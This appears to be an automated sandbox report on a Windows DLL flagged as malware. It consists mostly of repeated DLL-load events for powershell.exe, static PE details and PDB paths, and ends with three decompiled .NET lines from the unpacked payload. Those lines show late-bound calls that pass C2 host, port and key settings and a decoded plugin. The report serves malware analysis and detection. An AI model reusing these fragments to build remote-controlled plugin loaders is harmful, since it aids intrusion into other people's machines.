Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: avicap32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvfw32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll

Static PE information: Image base 0x180000000 > 0x60000000

Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.pdb source: powershell.exe, 0000001B.00000002.2729265774.00000263003C1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.pdbhP source: powershell.exe, 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.pdb source: powershell.exe, 00000011.00000002.2788362088.00000289CDD31000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.pdbhP source: powershell.exe, 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.pdb source: powershell.exe, 0000000F.00000002.2756687116.000001E0803C1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.pdbhP source: powershell.exe, 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .C:\Users\Bill Hillman\source\repos\prohashingDLL\x64\Release\prohashingDLL.pdb source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll
Source:	Binary string: C:\Users\Bill Hillman\source\repos\prohashingDLL\x64\Release\prohashingDLL.pdb source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll

Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
